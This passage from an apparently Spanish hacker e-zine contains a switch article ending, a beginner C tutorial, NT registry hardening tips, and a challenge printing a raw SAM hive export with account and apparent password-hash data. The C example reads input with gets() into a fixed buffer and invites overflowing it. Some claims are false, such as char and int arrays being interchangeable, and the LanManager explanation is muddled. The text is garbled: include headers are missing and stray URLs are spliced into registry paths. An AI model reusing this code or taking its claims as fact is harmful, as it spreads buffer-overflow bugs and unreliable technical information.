las necesidades k el vea en cada estacion, asi no hay desperdicio de darle a una
estacion demasiado ancho de banda y todos tocan lo k deben tocar ni mas ni menos




<3.2>   Seleccionando el switch adecuado
        ================================

Como ya se los mencione anteriormente, el switch trabaja  en la tercera capa del
de lo que seria el modelo OSI, pero tmb cabe destacar k puede cumplir algunas de
sus funciones en la segunda capa, eso si en conjunto  con un router ya k este se
encargaria de crear dominios broadcast y colisiones separados por cada interface

Como deben estar concluyendo, el  router  y el switch se pueden utilizar para la
segmentacion de LAN`s,ahora se deben estar preguntando seguramente entonces cual
es mejor? o cual es mas conveniente? bueno esta repuesta depende mucho de la red

Vemos k si la red solo desea tener un incremento en lo k es transmicion de datos
entonces para esto se recominda un SWITCH, pero si se desean un envio mas limpio
e  inteligente o querer  tener acceso a alguna  WAN o soportar rutas redundantes
entonces un ROUTER seria la respuesta acertada

Ahora bien entre lo k es costo economico, el switch por ser de proposito general
es un tanto mas barato k en comparacion a un router k requiere especificaciones


Bueno y eso seria la primera entrega de este articulo,solo esperen el proximo...



Autor     : EleKtr0
Titulo    : Switch
Entrega # : I
Saludos   : Mmmmmm... al switch de mi liceo!



�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    05
`���,�,���


Autor     : EleKtr0
Titulo    : Programacion en C
Entrega # : I
Contenido : La  programacion  basada en  el lenguaje C,  de  por  si es un  tema
bastante interansate y de poca concurrencia, diversidad y variedad #$!!&�%*^� el
lenguaje de programacion en el que esta escrita la mayor parte de los  programas
realisados para linux es el C, por lo k es importante  conoserlo  aunque  sea de 
forma superficial entendiendo a lo menos los conceptos basicos, esto lo  llevare
acabo en una serie de articulos llamensele curso a todos juntos :) empesando por
este!

Soy partidario por la cultura y el saber, asik una buena introduccion no estaria
nada de mal...  Los tarros (todos saben lo que es un tarro? tarro =  a la  forma
tierna de llamarle a un ordenador,como!ahora me sales con tierna? como mesionaba
anteriormente los tarros estan en todo momento  regidos por  un programa, y este
programa debe ser escrito en un lenguaje k el ordenata entienda, sin embargo, el
lenguaje maquina es demasiado complicado como  para k un symple ser humano pueda
entender su  estrctura y programar  con el, por  ello esk  se  creo  el lenguaje
ensamblador que biene a ser una  traduccion del leguaje maquina, pero  mucho mas 
entendible para un programador y  aun asi el  lenguaje  ensamblador tiene serios 
inconvenientes, por poner un ejemplo, un programa ensamblador hecho para un  486
no funcionara en un Spectrum y  viceversa por  otro lado  resulta muy complicado
realisar acciones complejas con el, ya que un simple texto en  pantalla necesita
alrrededor de unas seis o siete lineas de codigo ensamblador y k por supuesto no
son nada faciles de entender!

Para evitar todo esto se han  desarrollado  lenguajes que abstrangan  aun mas el
lenguaje maquina(lenguajes de alto nivel),un programa de alto nivel tiene varias
instrucciones k realisan tareas mas complejas k el maquina o ensamblador pero  k
asu ves son mucho mas faciles de entender por  ende aprender a programarlas, con
todo esto el programa sera compatible con casi cualquier  sistema aunk para ello
sea necesario tener k compilar su codigo.

Todo el mundo sabe k es una compilacion de codigo verdad?la compilacion consiste
en transformar el  codigo de alto  nivel o codigo fuente  a lenguaje maquina con 
esto procedera a ejecutarse el codigo directamente por el procesador  del  tarro
�esta mas claro ahora?

Lo que hace un programa  es obtener  informacion, procesar  esa informacion, para
luego devolver informacion,el programa necesita almacenar la informacion en algun
lado para luego ser procesada,la forma en k sea procesada variara de acuerdo a lo
k esta informacion desea obtener como resultado final, el programa  procedera con
la ejecucion de akella informacion visualisandose estos resultados  en pantalla o
almacenados en un disco o imprimidos o la wea k sea! :)

Dicho todo esto deberias ahora tener claro lo k es un leguaje y un programa ahora
bien, veamos algo de historia en cuanto al lenguaje C 

El lenguaje C fue desarrollado en los Laboratorios Bell (Bell Laboratories)  para
su uso e investigacion se caracterisa por tener un gran numero de propiedades que
lo hacen ideal para usos  cientificos  y de gestion,  aunk  una  de  las  grandes
ventajas de C con respecto a otros lenguajes, es k C es estrcturado  �que  quiere
decir esto?pues bien significa k se pueden escribir bucles que tienen condiciones
de entra y salida claras  y  se pueden escribir  funciones  cuyos  argumentos  se 
verifican siempre para su completa exactitud!, su exelente biblioteca standar  de
funciones convierten a C  en uno de los mejores lenguajes de programacion que los 
profecionales informaticos pueden utilizar, pues bien veamos ahora algunas de sus
caracteristicas:	

- es un lenguaje k sirve tanto para programar SO y programas de uso comun
- su programacion es de  forma  estructurada y  modular con lo que  podras a�adir 
  codigo al ya escrito
- como les mencione antes en C se puede programar a bajo y alto nivel
- su codigo es transportable
- funka en cualquier SO claro k con su respectiva compilacion
- posee librerias k son un conjunto de funciones almacenadas en un solo nombre

bueno y asi se podria seguir con la cualidades del C

	
Un programa tipico de C se organisa en uno o mas archivos fuentes o modulos,cada
archivo tiene una esctructura similar con comentarios, directivas de procesador,
declaraciones de variables y  funciones  y sus definiciones  (mas  adelante  nos 
detendremos en lo k significa cada termino) Normalmente se  situa cada grupo  de
funciones y variables relacionadas  en un unico archivo  fuente, dentro  de cada 
archivo fuente los componentes suelen colocarse en un determinado modo estandar



	Los componentes tipicos de un archivo fuente en C son:


- el archivo comiensa con algunos comentarios, serian el nombre del autor,fecha
- ordenes al procesador, normalmente  incluyen archivos de cabecera y definicion
  de constantes
- declaracion de variables y constantes
- el resto del archivo incluye definiciones de las funciones (su cuerpo)
  /* dentro del cuerpo de una funcion se  pueden definir variables k son locales
  a la funcion k solo existen en el codigo de la  funcion que se esta ejecutando
  */

	

Bueno tenemos dominios basicos de la programacion y los beneficios del  lenguaje
C por lo que ahora  nos resta  entrar de  lleno en  nuestro  curso  para lo cual 
empesaremos analisando un primer programa adentrandonos en las primeras nociones
del lenguaje C

				�� codigo puro y duro !! ;)





/* Programa de bienvenida al curso de C */

#include 
int main()
{
char nombre[33];
printf("�como te llamas?");
gets(nombre);
printf("Hola %s, soy EleKtr0 y te doy la bienvenida al curso de C\n",nombre);
}




Tenemos ya nuestro primer programa del curso lo cual es bastante alentador o no?
si no entiendes nada de nada pues  pasciencia que ahora biene la explicacion del 
codigo entonses veamos:


/* Programa de bienvenida al curso de C */

que crees k es esto? acertaste! es un comentario en C, los  comentarios en C  se
encierran entre /* y */ y no son compilados, pueden estar al principio al  final
entre una linea de codigo donde sea pero siempre k se inicie  con /*  y  termine 
con */los comentarios son bastante utiles a la hora de entender nuestros codigos
ya que  nos aclara su lectura a nosotros y  a otras personas, con el  tiempo los 
comentarios son esenciales ya k la memoria suele jugarnos sucio atraves del paso
de los a�os



/* comentario valido */
/* comentario /* dentro de un comentario */ es incorrecto */


#include 

#include es una directiva k indica al compilador k lea el contenido de 

 es la libreria estandar de C, permite ver  texto en pantalla, entradas 
por teclado etc...



int main()

esta linea le indica al compilador que todo lo que se encuentre entre entre  las 
llaves {} debe ser ejecutado  cuando  se invoque el programa, bueno en  realidad
lo k hace esto es indicarle al  compilador  que  se  desea  definir una  funcion 
llamada main () que no toma argumentos y devuelve un entero:  el  codigo  de  la 
funcion k va entre las llaves {}


{
char nombre[33];

con esto le desimos al compilador k queremos k el programa posea un fragmento de
memoria destinado a almacenar una cadena de caracteres  (char)  de  un maximo de
33 caracteres de longitud  la  variable  char  (caracter) sirve  para  almacenar 
caracteres individuales entonses como te abras dado cuenta  acabamos de declarar
la variable nombre  con  una  reserva  de memoria  de 33  caracteres como maximo 
�entonses por k no la declare con int?pues bien  dado k los caracteres literales
se almacenan internamente como valores int abria sido exactamente lo mismo  aver
declarado nombre

con int o char ejemplo:

char nombre[33]; 
int nombre[33];

ambas declaraciones son correctas y aseptadas obbiamente por el compilador y  el 
resultado despues de compilarse este codigo  es  el  mismo uff!  en  verdad  era 
necesario k dijiese eso??? creo k no!


/* cabe se�alar k el lenguaje C distingue entre mayusculas y minusculas por lo k
mucha antencion  en  los  nombres, un nombre  de  variable  es  valido  para  el
compilador si este  ha  de empesar  con una letra desde la A a la Z en mayuscula
y minuscula excluyendo la letra e�e tmb puede contener numeros pero el  nombre no
debe empesar con un numero (ver ejemplo) y tmb como nombre valido se reconose el
caracter de guion abajo_  ademas  como  te abras  dado  cuenta en  el codigo del 
programa casi todas las lineas terminan con un ; (punto y coma [baya k si!sirven
las clases de catellano]) en C el termino de una instruccion debe  se�alarse por
medio del ; o sino el compilador pasara cagando y pensara k se trata de la misma
instruccion y al no reconocerla nos dara un error! */


- ejemplos de nombres validos

	
nombre correcto	   nombre incorrecto

LaMaKeyZ		      NoKeyZ      perdon! me sali del curso... plop`s

ELECTRON                &ELECTRON   /* no se permiten caracteres */ solo eso?
chile1                  1chile      /* no se permite k empiese con numeros */
_N4il_ 			_N4il _     /* no se permiten espacios en blanco */
 



printf("�como te llamas?");


printf es una funcion de la libreria estandar  del compilador de C,esta
funcion sirve para visualisar textos en pantalla los textos k seran visualisados
seran todos akellos caracteres k se encuentren entre las comillas dobles "*"  en
nuestro caso "�como te llamas?"



gets(nombre);

gets es otra funcion de la libreria  y sirve para obtener el texto k ha
sido introducido por medio del teclado,  el texto que  sea  introducido  quedara
guardado en la variable cuyo nombre  se encuentre entre () en  nuestro  caso  la
variable (nombre)



printf("Hola %s, soy EleKtr0 y te doy la bienvenida al curso de C\n",nombre);

bueno en el caso anterior de printf solo habia texto  ahora ademas del mismo nos
encontramos con el nombre de una variable  despues de las comillas  separado por
una coma (,) si eres observador y de seguro que lo eres abras  observado  k  tmb 
aparece %s y \n

%s esta secuencia le indica a printf que en la posicion de  %s debe  escribir el 
contenido  de  la  variable  nombre, sustituyendo %s  por  el nombre que se haya 
introducido anteriormente 

\n esta secuencia es sustituida por un retorno de carro, para que el  sgt  texto 
aparesca en una linea nueva

}
en verdad tengo k explicar esta llave?  ja!  pues  bien  esta llave lo k hace es 
cerrar la k se abrio debajo de int main() recuerdas? con esto se  le  indica  al
compilador k el programa llega su final



Bien te queda ahora mas claro el codigo k al principio?? si en  verdad has leido
con atencion entonses ve nuevamente al codigo y echale una "leida"  veras k todo
es mucho mas censillo de lo k pensabas, facil verdad! pues bien ahora  solo  nos
falta compilar el codigo y  ya  tendriamos  el  programa  ejecutable  a  nuestra 
disposicion k!  �que como se compila?  Mmmmm  siempre  pasa  lo mismo si usas el 
G�inDow$ (cosa muy provable en estos dias)entonses no tienes mas k bajarte algun 
compilador de C, en la Red hay cientos de miles de ellos y  su funcionamiento es 
bastante  cencillo  no necesitando mayor detalle para  su posterior  uso... solo 
guardas el archivo k contiene el codigo como curso_c.c y  luego  procedes con su
compilacion pero si por el contrario  eres un novato  usuario de linux antes que 
nada mis felicitaciones entonses has lo sgt para comp�lar el codigo:

lo mismo ke mencionaba con el ventanucos guarda el archivo contenedor del codigo
como curso_c.c (el nombre debe tener extencion .c)en tu directorio home y luego
realiza lo sgt:

[EleKtr0@localhost]$gcc -o curso curso_c.c

/* con  esto  abremos  compilado el  archivo curso_c.c y  generado  el  programa 
   ejecutable "curso" */

/* estamos ansiosos  por ver  nuestro primer  programa entonses lo ejecutamos de
   la sgt forma */

[EleKtr0@localhost]$./curso


/* con esto se deberia proceder con  la ejecucion  del programa seria algo mas o 
   menos asi */



[EleKtr0@localhost]$./curso

�como te llamas?periko palote
Hola periko palote, soy EleKtr0 y te doy la bienvenida al curso de C

[EleKtr0@localhost]$



/* luego de la ejecucion nos deberia devolver el promnt de linux amenos k...?�*/


Bueno he llegado al final de este primer articulo del curso de C  pero  antes me 
gustaria desir un par de cositas,quienes en verdad esten interesados en aprender
el lenguaje C deberian buscar en Inet info sobre  este apasionante  mundo  de la
programacion y solitos ir  aventurandose,  otra cosa es k tomen el  programa que 
hemos analisado y ponganse a jugar con el cambiando su orden sus variables,  una
idea �que pasa si yo tengo un nombre mayor de 33 caracters? pues averig�enlo!!!!
ademas como dato extra para el que quiera aprender mas claro! les dire que ya un
compa�ero de FYE, ThEye ya habia empesado una serie de articulos orientados a la
programacion en C asik los remito a esos articulos ya k son  bastante  buenos  e 
interesantes aunk ya ba en su tercera entrega podras obtener todo el curso desde
su web, la url esta al inicio del e-zine, por mi parte nada mas nos vemos en una
proxima entrega bye...


Autor     : EleKtr0
Titulo    : Programacion en C
Entrega # : I
Linkz     : www.lawebdelprogramador.com
Saludos   : ThEye, FYE, por tu gran iniciativa de educar a nuestra gente y tmb de
            de paso a la de fuera! ;) // www.350cc.com




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    06
`���,�,���


Autor     : EleKtr0
Titulo    : Configurando el Registro

Comentario: Hola, yo nuevamente, te vas tener k acostumbrar a escucharme por que
soy malito para escribir, jeje!, ok bueno como muchos deben ya saber, este no es
my primer texto orientado a Windows NT y tampoco pretendo k sea el ultimo, asike
nos guimoslos!

Contenido : El registro del NT es una herramienta bastante poderosa, si se le da
un buen uso y muchas veces esta posibilidad es pasada por alto por parte de  los
administradores de redes y es mas! algunos nisiquiera saben de la existencia del
mismo, si no preguntenle al admin de mi liceo

El registro, como anteriormente les mencione, es  fundamental a la hora de poder
configurar completamente el SO ademas de poder activar ciertos parametros que le
daran una mayor seguridad a nivel de usuarios,solidez y entorno como SO "seguro"

El NT de todas formas permite interactuar con algunos valores del registro, pero
igual se le escapan algunas cosas y de esas cosas nos encargamos nosotros! 

[ Nota: si eres un novato en esto del registro y no tienes ni idea de la que wea
estoy hablando entonces vete a los linkz al final de este mismo  articulo,  pero 
si eres osado y deseas explorar por ti mismo, igual ten un poco cuidado!, que te
demoraras mas en pensar dos veces en eliminar un valor k reinstalando el SO ;) ]

Lo primero: vete a Inicio, ejecutar, regedt32.exe
Con esto se abrira una ventana (para variar) donde veremos las  distintas  ramas
o arboles del registro



(1) Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\Current\Version\Winlogon
    Variable: DontDisplayLastUserName
    Valor: 1

Esta modificacion evitara que se vea el nombre de usuario del ultimo k se  logeo
al entrar al systema, aprovecho de decir k tmb es recomendable cambiar el nombre
default por ejemplo la del admin: ADMINISTRADOR/ADMINISTRATOR



(2) Ruta: HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement
    Variable: ClearPageFileAtShutdown
    Valor: 1 

Aqui borramos el archivo que contiene la memoria virtual del SO, el  archivo  se
borrara a la salida de cada sesion, la memoria virtual contiene ciertos datos de
confidencia para la integridad del systema



(3) Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    Variable: AllocateFloppies
    Valor: 1 

    Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    Variable: AllocateCDROMS
    Valor: 1 

Se te ocurre algo?? aparte de eso cochino! Con los valores  anteriores  logramos
desactivar la/s disketeras y el/los cd room



(4) Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 
    Variable: AutoAdminLogon 
    Valor: 0 

Esto evita saltarse el cuadro de dialogo de autentificacion en el inicio de cada
sesion, por lo mismo no tendras k poner el pass para ingresar,  k tal? tocornal?



(5) Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 
    Variable: ShutdownWithoutLogon
    Valor: 0 

Con este valor  no se puede apagar el systema por medio  de los medios (valga la
rebusnancia hip!) tradicionales, o sea, inicio, apagar sistema...  con  esto  se
evita k cualquier usuario normal,comun,silvestre tenga los permisos  para apagar
el ordenata del servidor



(6) Ruta: HKLM\SYSTEM\CurrentControlSet\Services\RemoteAccess 
    Variable: Parameters 
    Valor: 1 

Aqui auditamos el servicio de acceso remoto



(7) Ruta: HKLM\SYSTEM\CurrentControlSet\Control\LSA
    Variable: FullPrivilegeAuditing 
    Valor: 1  
Con esto auditamos todos los derechos de todos los usuarios, persecucion  total!
intimidad "0"



(8) Ruta: HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 
    Variables: LegalNoticeCaption,  LegalNoticeText 

Con ambos valores podremos cambiar los mensajes de inicio de sesion y haci poder
intimidar al usuario de un posible mal uso de la red



(9) Ruta: HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters 
    Variable: AutoShareServer 
    Valor: 0 

Con esto evitamos compartir particiones o discos duros en el servidor
Ahora si estamos en una estacion entonces deberas sustituir la variable por:
AutoShareWks



(10) Ruta: HKLM\System\CurrentControlSet\Control\LSA 
     Variable: RestricAnonymous 
     Valor: 1 

Con esto logramos bloquear el acceso nulo, o comunmente llamado anonimo...



(11) Ruta: HKLM\System\CurrentControlSet\Control\LSA
     Variable: LMCompatibilityLevel 
     Valor: 1

Y con esto lograremos cambiar el tipo de cifrados de datos, en este caso estamos
cambiando del uso en conjunto del cifrado de datos del 95/98 con el de NT y como
sabemos k la wea de 95/98 es un asco entonces dejaremos solo el  cifrado  NT que
seria el LanManager (DES) aunk esta wea tmb es un asco! pero igual no ma`


Ya ok! y asi llegamos al final de este articulo, si tienes alguna otra ruta  con
cambios interesantes solo me das el aviso y por ahy veremos como incluirla bye!



Autor     : EleKtr0
Titulo    : Configurando el Registro
Linkz     : Proyecto R #08 "Como crear un servidor seguro con Windows NT" por PlaXiuS
		Proyecto R #08 "Mi amigo el registro" por ArcangNet
Saludos   : regedt32.exe�?




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����









,���``����
    07
`���,�,���


Autor     : EleKtr0
Titulo    : Challenge_NT "regedit32.exe"
Entrega # : I
Respuestas: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

Comentario: Hasta el articulo anterior todo facil!, solo han tenido que leer, ir
al rejistro y reemplazar las variables, ahora  les complicare  la tarea un poco, 
presentandoles un  desafio, quienes  logren desifrar de que  se tratan todas las
rutas que pondre y para que sirven o si bien  conocen otra manera  de lograr  el
mismo efecto, en otras palabras, quienes tengan la capacidad el conocimiento, la
curiosidad y  logren  descubrir de  quese trata todo esto y me den una respuesta
satisfactoria, seran  publicados  en el  proximo numero del "ELECTRON" como  los
presuntos vencedores del desafio!... cabe se�alar que si de aqui a la salida del
proximo numero no ahy nadien que aya descubierto la respuesta,el desafio no sera
reseulto y continuara hasta que aya vencedor o hasta que se agote mi pasciencia

[ Nota: desafio no apto para novatos!, las razones estan demas... ]

Muy bien se�ores! el desafio esta echo!,,,

Contenido : __________________________________________Challenge_NT, regedit32.exe


[HKEY_LOCAL_MACHINE\SAM\SAM]
"C"=hex:03,00,01,00,00,00,00,00,84,00,00,00,02,00,01,00,01,00,14,80,64,00,00,\
  00,74,00,00,00,14,00,00,00,30,00,00,00,02,00,1c,00,01,00,00,00,02,c0,14,00,\
  0e,00,05,01,01,01,00,00,00,00,00,01,00,00,00,00,02,00,34,00,02,00,00,00,00,\
  00,14,00,31,00,02,00,01,01,00,00,00,00,00,01,00,00,00,00,00,00,18,00,3f,00,\
  0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,\
  05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains]
@=hex(0):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account]
"F"=hex:02,00,01,00,40,01,14,00,70,85,18,10,d9,02,bc,01,ee,00,00,00,00,00,00,\
  00,00,80,a6,0a,ff,de,ff,ff,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,80,\
  00,cc,1d,cf,fb,ff,ff,ff,00,a2,2f,4d,ff,ff,ff,ff,00,00,00,00,00,00,00,00,02,\
  04,00,00,00,00,00,00,05,00,05,00,00,00,20,00,01,00,00,00,03,00,00,00,01,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
"V"=hex:00,00,00,00,cc,00,00,00,02,00,01,00,cc,00,00,00,18,00,00,00,00,00,00,\
  00,e4,00,00,00,00,00,00,00,00,00,00,00,e4,00,00,00,00,00,00,00,00,00,00,00,\
  01,00,14,80,ac,00,00,00,bc,00,00,00,14,00,00,00,30,00,00,00,02,00,1c,00,01,\
  00,00,00,02,c0,14,00,7a,04,05,01,01,01,00,00,00,00,00,01,00,00,00,00,02,00,\
  7c,00,05,00,00,00,00,00,14,00,85,03,02,00,01,01,00,00,00,00,00,01,00,00,00,\
  00,00,00,18,00,c5,03,02,00,01,02,00,00,00,00,00,05,20,00,00,00,21,02,00,00,\
  00,00,18,00,df,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,\
  00,18,00,d5,03,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,00,00,\
  18,00,d5,03,02,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,01,02,00,\
  00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,\
  20,02,00,00,01,04,00,00,00,00,00,05,15,00,00,00,df,55,89,47,6a,40,2a,7f,72,\
  0a,14,71

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases]
@=""

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}000400]
"C"=hex:00,04,00,00,00,00,00,00,9c,00,00,00,02,00,01,00,9c,00,00,00,32,00,00,\
  00,00,00,00,00,d0,00,00,00,70,00,00,00,00,00,00,00,40,01,00,00,1c,00,00,00,\
  01,00,00,00,01,00,14,80,7c,00,00,00,8c,00,00,00,14,00,00,00,30,00,00,00,02,\
  00,1c,00,01,00,00,00,02,c0,14,00,13,00,07,01,01,01,00,00,00,00,00,01,00,00,\
  00,00,02,00,4c,00,03,00,00,00,00,00,14,00,0c,00,02,00,01,01,00,00,00,00,00,\
  01,00,00,00,00,00,00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,\
  20,02,00,00,00,00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,\
  02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,\
  00,05,20,00,00,00,20,02,00,00,4d,00,54,00,53,00,20,00,54,00,72,00,75,00,73,\
  00,74,00,65,00,64,00,20,00,49,00,6d,00,70,00,65,00,72,00,73,00,6f,00,6e,00,\
  61,00,74,00,6f,00,72,00,73,00,00,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,\
  00,66,00,74,00,20,00,54,00,72,00,61,00,6e,00,73,00,61,00,63,00,74,00,69,00,\
  6f,00,6e,00,20,00,53,00,65,00,72,00,76,00,65,00,72,00,20,00,74,00,72,00,75,\
  00,73,00,74,00,65,00,64,00,20,00,70,00,72,00,6f,00,63,00,65,00,73,00,73,00,\
  20,00,69,00,64,00,65,00,6e,00,74,00,69,00,74,00,69,00,65,00,73,00,2e,00,01,\
  05,00,00,00,00,00,05,15,00,00,00,df,55,89,47,6a,40,2a,7f,72,0a,14,71,01,04,\
  00,00

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases\Members]
@=hex(0):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases\Members\S-1-5-21-1200182751-
2133475434-1897138802]
@=""

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases\Members\S-1-5-21-1200182751-
2133475434-1897138802{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}000401]
@="?"

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases\Names]
@=hex(0):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Aliases\Names\MTS Trusted Impersonators]
@=hex(400):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Groups]
@="?"

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Groups{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}000201]
"C"=hex:02,00,01,00,01,02,00,00,07,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,\
  00,9c,00,00,00,02,00,01,00,9c,00,00,00,08,00,00,00,00,00,00,00,a4,00,00,00,\
  1c,00,00,00,00,00,00,00,c0,00,00,00,64,00,00,00,09,00,00,00,01,00,14,80,7c,\
  00,00,00,8c,00,00,00,14,00,00,00,30,00,00,00,02,00,1c,00,01,00,00,00,02,c0,\
  14,00,0e,00,05,01,01,01,00,00,00,00,00,01,00,00,00,00,02,00,4c,00,03,00,00,\
  00,00,00,14,00,11,00,02,00,01,01,00,00,00,00,00,01,00,00,00,00,00,00,18,00,\
  1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,18,00,1f,\
  00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,01,02,00,00,00,00,\
  00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,\
  00,4e,00,6f,00,6e,00,65,00,4f,00,72,00,64,00,69,00,6e,00,61,00,72,00,79,00,\
  20,00,75,00,73,00,65,00,72,00,73,00,f4,01,00,00,f5,01,00,00,e9,03,00,00,f9,\
  03,00,00,ec,03,00,00,fb,03,00,00,f4,03,00,00,ff,03,00,00,01,04,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,00,00,00,00,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Groups\Names]
@=hex(0):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Groups\Names\None]
@=hex(201):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users]
@=hex(9):

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0001F4]
"F"=hex:02,00,01,00,00,00,00,00,20,f7,44,3f,b2,04,bd,01,00,00,00,00,00,00,00,\
  00,10,4a,3c,13,d9,02,bc,01,ff,ff,ff,ff,ff,ff,ff,7f,d0,29,82,e0,57,2b,bd,01,\
  f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,06,00,09,00,01,00,00,00,00,\
  00,6e,00,74,00,65,00
"V"=hex:00,00,00,00,a8,00,00,00,02,00,01,00,a8,00,00,00,1a,00,00,00,00,00,00,\
  00,c4,00,00,00,00,00,00,00,00,00,00,00,c4,00,00,00,6c,00,00,00,00,00,00,00,\
  30,01,00,00,00,00,00,00,00,00,00,00,30,01,00,00,00,00,00,00,00,00,00,00,30,\
  01,00,00,00,00,00,00,00,00,00,00,30,01,00,00,00,00,00,00,00,00,00,00,30,01,\
  00,00,00,00,00,00,00,00,00,00,30,01,00,00,00,00,00,00,00,00,00,00,30,01,00,\
  00,00,00,00,00,00,00,00,00,30,01,00,00,00,00,00,00,00,00,00,00,30,01,00,00,\
  08,00,00,00,01,00,00,00,38,01,00,00,10,00,00,00,00,00,00,00,48,01,00,00,10,\
  00,00,00,00,00,00,00,58,01,00,00,00,00,00,00,00,00,00,00,58,01,00,00,00,00,\
  00,00,00,00,00,00,01,00,14,80,88,00,00,00,98,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,58,00,03,00,00,00,00,00,14,00,5b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,00,\
  00,df,55,89,47,6a,40,2a,7f,72,0a,14,71,f4,01,00,00,01,02,00,00,00,00,00,05,\
  20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,41,\
  00,64,00,6d,00,69,00,6e,00,69,00,73,00,74,00,72,00,61,00,74,00,6f,00,72,00,\
  00,00,42,00,75,00,69,00,6c,00,74,00,2d,00,69,00,6e,00,20,00,61,00,63,00,63,\
  00,6f,00,75,00,6e,00,74,00,20,00,66,00,6f,00,72,00,20,00,61,00,64,00,6d,00,\
  69,00,6e,00,69,00,73,00,74,00,65,00,72,00,69,00,6e,00,67,00,20,00,74,00,68,\
  00,65,00,20,00,63,00,6f,00,6d,00,70,00,75,00,74,00,65,00,72,00,2f,00,64,00,\
  6f,00,6d,00,61,00,69,00,6e,00,01,02,00,00,07,00,00,00,4f,b3,25,bf,39,a5,75,\
  b3,3a,0f,64,36,af,f3,88,1f,54,92,44,da,b9,58,c1,e8,72,20,03,a4,03,6e,f5,af

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0001F5]
"F"=hex:02,00,01,00,00,00,00,00,50,eb,22,fe,99,1e,bc,01,00,00,00,00,00,00,00,\
  00,90,79,ea,fb,99,1e,bc,01,00,00,00,00,00,00,00,00,80,6c,df,47,bb,43,bd,01,\
  f5,01,00,00,01,02,00,00,11,02,00,00,00,00,00,00,04,00,00,00,00,00,00,00,00,\
  00,6e,00,74,00,65,00
"V"=hex:00,00,00,00,9c,00,00,00,02,00,01,00,9c,00,00,00,0a,00,00,00,00,00,00,\
  00,a8,00,00,00,00,00,00,00,00,00,00,00,a8,00,00,00,70,00,00,00,00,00,00,00,\
  18,01,00,00,00,00,00,00,00,00,00,00,18,01,00,00,00,00,00,00,00,00,00,00,18,\
  01,00,00,00,00,00,00,00,00,00,00,18,01,00,00,00,00,00,00,00,00,00,00,18,01,\
